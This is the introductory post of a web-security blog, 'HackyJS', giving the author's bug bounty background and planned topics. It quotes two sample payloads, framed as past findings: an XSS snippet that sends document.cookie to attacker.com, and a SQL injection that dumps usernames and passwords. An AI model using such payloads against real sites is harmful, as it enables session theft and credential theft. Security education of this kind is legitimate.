Welcome to HackyJS - Where JavaScript Meets Hacking

Who Am I?

I'm a developer and security researcher with over 8 years of hands-on experience. My background blends software engineering and cybersecurity, and along the way, I've picked up a few noteworthy credentials:

• OSWE-certified (WEB-100 & WEB-200)
• Active bug bounty hunter with reports on major platforms
• Focused on web application security research
• A big fan of JavaScript and all things security

What You'll Learn Here

This blog is all about digging into advanced JavaScript and practical security work. Expect content like:

Advanced JavaScript

• How prototype pollution works and why it matters
• Deep dives into complex DOM manipulations
• Behind-the-scenes of JavaScript engines and how they can be exploited
• New JS features through a security lens

Security Research

• How to approach bug bounty hunting
• Tips and tools for web app pentesting
• JavaScript-based attacks and ways to defend against them
• Case studies based on real-world findings

Real-World Examples

Here are a couple of discoveries that show what JavaScript can do when it comes to security research:

XSS on Xbox.com

 // A clever XSS payload that slipped past several defenses
 const payload = `<img src=x onerror="
   (function(){
     const xhr = new XMLHttpRequest();
     xhr.open('GET', 'https://attacker.com/steal?cookie=' + document.cookie);
     xhr.send();
   })()
 "/>`;

SQL Injection on Trickle.so

 -- A tricky SQL injection that managed to bypass WAF filtering ' OR 1=1;
-- UNION SELECT username, password FROM users; --

What's Coming Next?

Here's a peek at the topics I'll be diving into soon:

1. JavaScript Security Fundamentals

   • The ins and outs of JavaScript's security model
   • Common bugs and how attackers exploit them
   • Tips for writing more secure JavaScript

2. Advanced Exploitation Techniques

   • Real examples of DOM-based XSS
   • Building and using prototype pollution chains
   • Exploiting JavaScript engines
   • Tricks for getting around WAFs

3. Bug Bounty Hunting Guides

   • How I approach bug hunting
   • Tools I use and why
   • Writing clear, effective reports
   • Increasing your odds of getting paid

4. Real-World Case Studies

   • Breakdowns of actual vulnerabilities
   • Step-by-step guides to exploitation
   • How to patch and avoid similar flaws

Join the Community

Conclusion

HackyJS is more than just a blog—it's a hub for developers and researchers who are passionate about making the web safer. Whether you're just getting started or already deep in the field, there's something here for you.

Keep an eye out for the next post, where we'll take a deep dive into prototype pollution and what it means for modern JavaScript applications. Until then—happy hacking!